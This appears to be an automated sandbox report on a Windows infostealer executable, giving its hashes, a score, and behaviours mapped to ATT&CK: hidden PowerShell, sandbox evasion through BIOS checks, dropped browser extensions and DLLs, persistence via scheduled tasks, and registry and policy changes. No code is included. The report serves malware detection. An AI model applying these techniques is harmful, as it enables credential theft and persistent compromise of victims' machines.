daf394a884373933c9e68b41ced73ddd8fc457fe4549383f1001b5c92513df2f

Analysis

max time kernel
300s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
01-07-2024 05:09

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

daf394a884373933c9e68b41ced73ddd8fc457fe4549383f1001b5c92513df2f.exe
Size

7.2MB
MD5

8b9df0340b2a1611b2b7e82ed054211c
SHA1

12e943907a0a80311c2243b1a46ede6cfc713cf6
SHA256

daf394a884373933c9e68b41ced73ddd8fc457fe4549383f1001b5c92513df2f
SHA512

a5ecfee1331d7b89395d263d473e3ca5841e3890f87f4237cb95d97ab14d367badd6a5f163ab4b77c13b07bb196407bd637f4db80e5cf2cae8222512fe4491e8
SSDEEP

98304:91OW6BwmsgIlJ8Pa7YXHdP9o57Tbc4IjcEg+byhmWn7OMbrDbQPWMCvq/TgRVDZg:91OW61keP4YwBbWjcEg+blWbwEDZTs

Score

8^/10

discovery execution spyware stealer

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

38 4716 rundll32.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.EXE

pid process

1904 powershell.exe
2336 powershell.exe
2372 powershell.EXE

flow	pid	process
38	4716	rundll32.exe

pid	process
1904	powershell.exe
2336	powershell.exe
2372	powershell.EXE

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

qVqqalb.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000\Control Panel\International\Geo\Nation qVqqalb.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeInstall.exeqVqqalb.exe

pid process

2280 Install.exe
4988 Install.exe
1504 Install.exe
4272 qVqqalb.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

4716 rundll32.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000\Control Panel\International\Geo\Nation	qVqqalb.exe

pid	process
2280	Install.exe
4988	Install.exe
1504	Install.exe
4272	qVqqalb.exe

pid	process
4716	rundll32.exe

Drops Chrome extension 2 IoCs

Processes:

qVqqalb.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	qVqqalb.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	qVqqalb.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

Install.exe

description ioc process

File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini Install.exe

description	ioc	process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	Install.exe

Drops file in System32 directory 33 IoCs

Processes:

Install.exeqVqqalb.exepowershell.exepowershell.exerundll32.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9	qVqqalb.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E52E4DB9468EB31D663A0754C2775A04	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199	qVqqalb.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E52E4DB9468EB31D663A0754C2775A04	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199	qVqqalb.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	qVqqalb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	qVqqalb.exe

Drops file in Program Files directory 14 IoCs

Processes:

qVqqalb.exe

description	ioc	process
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	qVqqalb.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	qVqqalb.exe
File created	C:\Program Files (x86)\nWWVEJXizSHU2\LQykrfJ.xml	qVqqalb.exe
File created	C:\Program Files (x86)\uYPtQNsySKcOueCgHDR\FmKWhMM.dll	qVqqalb.exe
File created	C:\Program Files (x86)\uYPtQNsySKcOueCgHDR\MAfzojb.xml	qVqqalb.exe
File created	C:\Program Files (x86)\fLdzueVMGzfAC\RrasGcD.dll	qVqqalb.exe
File created	C:\Program Files (x86)\fLdzueVMGzfAC\TWvxtwp.xml	qVqqalb.exe
File created	C:\Program Files (x86)\RNplELueU\NmZRxx.dll	qVqqalb.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	qVqqalb.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	qVqqalb.exe
File created	C:\Program Files (x86)\nWWVEJXizSHU2\FNQmdZrRPxbxa.dll	qVqqalb.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	qVqqalb.exe
File created	C:\Program Files (x86)\RNplELueU\vZNxxRN.xml	qVqqalb.exe
File created	C:\Program Files (x86)\ushFnVEJKMUn\iZKOSiQ.dll	qVqqalb.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\bBfKaGDnIKdTdJZScE.job	schtasks.exe
File created	C:\Windows\Tasks\QVuDljbAZykxnpoWI.job	schtasks.exe
File created	C:\Windows\Tasks\wgFtIVrBuHdIdLf.job	schtasks.exe
File created	C:\Windows\Tasks\vczjtXgpVbXDKOBgh.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

4536 1504 WerFault.exe Install.exe
2760 4988 WerFault.exe Install.exe
1576 4272 WerFault.exe qVqqalb.exe

pid	pid_target	process	target process
4536	1504	WerFault.exe	Install.exe
2760	4988	WerFault.exe	Install.exe
1576	4272	WerFault.exe	qVqqalb.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exeInstall.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exeqVqqalb.exerundll32.exepowershell.exepowershell.exeInstall.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	qVqqalb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "3"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	qVqqalb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	qVqqalb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	qVqqalb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	qVqqalb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

4420 schtasks.exe
64 schtasks.exe
4496 schtasks.exe
1228 schtasks.exe
2448 schtasks.exe
1616 schtasks.exe
1860 schtasks.exe
1060 schtasks.exe
796 schtasks.exe
3832 schtasks.exe

pid	process
4420	schtasks.exe
64	schtasks.exe
4496	schtasks.exe
1228	schtasks.exe
2448	schtasks.exe
1616	schtasks.exe
1860	schtasks.exe
1060	schtasks.exe
796	schtasks.exe
3832	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXEqVqqalb.exepowershell.exe

pid	process
2336	powershell.exe
2336	powershell.exe
2336	powershell.exe
1920	powershell.exe
1920	powershell.exe
1920	powershell.exe
4208	powershell.exe
4208	powershell.exe
4208	powershell.exe
2372	powershell.EXE
2372	powershell.EXE
2372	powershell.EXE
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
1904	powershell.exe
1904	powershell.exe
1904	powershell.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe
4272	qVqqalb.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeWMIC.exepowershell.exepowershell.exepowershell.EXEpowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	2336	powershell.exe
Token: SeIncreaseQuotaPrivilege	1592	WMIC.exe
Token: SeSecurityPrivilege	1592	WMIC.exe
Token: SeTakeOwnershipPrivilege	1592	WMIC.exe
Token: SeLoadDriverPrivilege	1592	WMIC.exe
Token: SeSystemProfilePrivilege	1592	WMIC.exe
Token: SeSystemtimePrivilege	1592	WMIC.exe
Token: SeProfSingleProcessPrivilege	1592	WMIC.exe
Token: SeIncBasePriorityPrivilege	1592	WMIC.exe
Token: SeCreatePagefilePrivilege	1592	WMIC.exe
Token: SeBackupPrivilege	1592	WMIC.exe
Token: SeRestorePrivilege	1592	WMIC.exe
Token: SeShutdownPrivilege	1592	WMIC.exe
Token: SeDebugPrivilege	1592	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1592	WMIC.exe
Token: SeRemoteShutdownPrivilege	1592	WMIC.exe
Token: SeUndockPrivilege	1592	WMIC.exe
Token: SeManageVolumePrivilege	1592	WMIC.exe
Token: 33	1592	WMIC.exe
Token: 34	1592	WMIC.exe
Token: 35	1592	WMIC.exe
Token: 36	1592	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1592	WMIC.exe
Token: SeSecurityPrivilege	1592	WMIC.exe
Token: SeTakeOwnershipPrivilege	1592	WMIC.exe
Token: SeLoadDriverPrivilege	1592	WMIC.exe
Token: SeSystemProfilePrivilege	1592	WMIC.exe
Token: SeSystemtimePrivilege	1592	WMIC.exe
Token: SeProfSingleProcessPrivilege	1592	WMIC.exe
Token: SeIncBasePriorityPrivilege	1592	WMIC.exe
Token: SeCreatePagefilePrivilege	1592	WMIC.exe
Token: SeBackupPrivilege	1592	WMIC.exe
Token: SeRestorePrivilege	1592	WMIC.exe
Token: SeShutdownPrivilege	1592	WMIC.exe
Token: SeDebugPrivilege	1592	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1592	WMIC.exe
Token: SeRemoteShutdownPrivilege	1592	WMIC.exe
Token: SeUndockPrivilege	1592	WMIC.exe
Token: SeManageVolumePrivilege	1592	WMIC.exe
Token: 33	1592	WMIC.exe
Token: 34	1592	WMIC.exe
Token: 35	1592	WMIC.exe
Token: 36	1592	WMIC.exe
Token: SeDebugPrivilege	1920	powershell.exe
Token: SeDebugPrivilege	4208	powershell.exe
Token: SeDebugPrivilege	2372	powershell.EXE
Token: SeDebugPrivilege	1904	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2868	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2868	WMIC.exe
Token: SeSecurityPrivilege	2868	WMIC.exe
Token: SeTakeOwnershipPrivilege	2868	WMIC.exe
Token: SeLoadDriverPrivilege	2868	WMIC.exe
Token: SeSystemtimePrivilege	2868	WMIC.exe
Token: SeBackupPrivilege	2868	WMIC.exe
Token: SeRestorePrivilege	2868	WMIC.exe
Token: SeShutdownPrivilege	2868	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2868	WMIC.exe
Token: SeUndockPrivilege	2868	WMIC.exe
Token: SeManageVolumePrivilege	2868	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2868	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2868	WMIC.exe
Token: SeSecurityPrivilege	2868	WMIC.exe
Token: SeTakeOwnershipPrivilege	2868	WMIC.exe
Token: SeLoadDriverPrivilege	2868	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

daf394a884373933c9e68b41ced73ddd8fc457fe4549383f1001b5c92513df2f.exeInstall.exeInstall.exeforfiles.execmd.exepowershell.exeInstall.exepowershell.execmd.exe

description	pid	process	target process
PID 3120 wrote to memory of 2280	3120	daf394a884373933c9e68b41ced73ddd8fc457fe4549383f1001b5c92513df2f.exe	Install.exe
PID 3120 wrote to memory of 2280	3120	daf394a884373933c9e68b41ced73ddd8fc457fe4549383f1001b5c92513df2f.exe	Install.exe
PID 3120 wrote to memory of 2280	3120	daf394a884373933c9e68b41ced73ddd8fc457fe4549383f1001b5c92513df2f.exe	Install.exe
PID 2280 wrote to memory of 4988	2280	Install.exe	Install.exe
PID 2280 wrote to memory of 4988	2280	Install.exe	Install.exe
PID 2280 wrote to memory of 4988	2280	Install.exe	Install.exe
PID 4988 wrote to memory of 2860	4988	Install.exe	forfiles.exe
PID 4988 wrote to memory of 2860	4988	Install.exe	forfiles.exe
PID 4988 wrote to memory of 2860	4988	Install.exe	forfiles.exe
PID 2860 wrote to memory of 904	2860	forfiles.exe	cmd.exe
PID 2860 wrote to memory of 904	2860	forfiles.exe	cmd.exe
PID 2860 wrote to memory of 904	2860	forfiles.exe	cmd.exe
PID 904 wrote to memory of 2336	904	cmd.exe	powershell.exe
PID 904 wrote to memory of 2336	904	cmd.exe	powershell.exe
PID 904 wrote to memory of 2336	904	cmd.exe	powershell.exe
PID 2336 wrote to memory of 1592	2336	powershell.exe	WMIC.exe
PID 2336 wrote to memory of 1592	2336	powershell.exe	WMIC.exe
PID 2336 wrote to memory of 1592	2336	powershell.exe	WMIC.exe
PID 4988 wrote to memory of 1860	4988	Install.exe	schtasks.exe
PID 4988 wrote to memory of 1860	4988	Install.exe	schtasks.exe
PID 4988 wrote to memory of 1860	4988	Install.exe	schtasks.exe
PID 1504 wrote to memory of 1920	1504	Install.exe	powershell.exe
PID 1504 wrote to memory of 1920	1504	Install.exe	powershell.exe
PID 1504 wrote to memory of 1920	1504	Install.exe	powershell.exe
PID 1920 wrote to memory of 2908	1920	powershell.exe	cmd.exe
PID 1920 wrote to memory of 2908	1920	powershell.exe	cmd.exe
PID 1920 wrote to memory of 2908	1920	powershell.exe	cmd.exe
PID 2908 wrote to memory of 1280	2908	cmd.exe	reg.exe
PID 2908 wrote to memory of 1280	2908	cmd.exe	reg.exe
PID 2908 wrote to memory of 1280	2908	cmd.exe	reg.exe
PID 1920 wrote to memory of 4628	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 4628	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 4628	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 4540	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 4540	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 4540	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 4076	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 4076	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 4076	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 1316	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 1316	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 1316	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 3896	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 3896	1920	powershell.exe	reg.exe
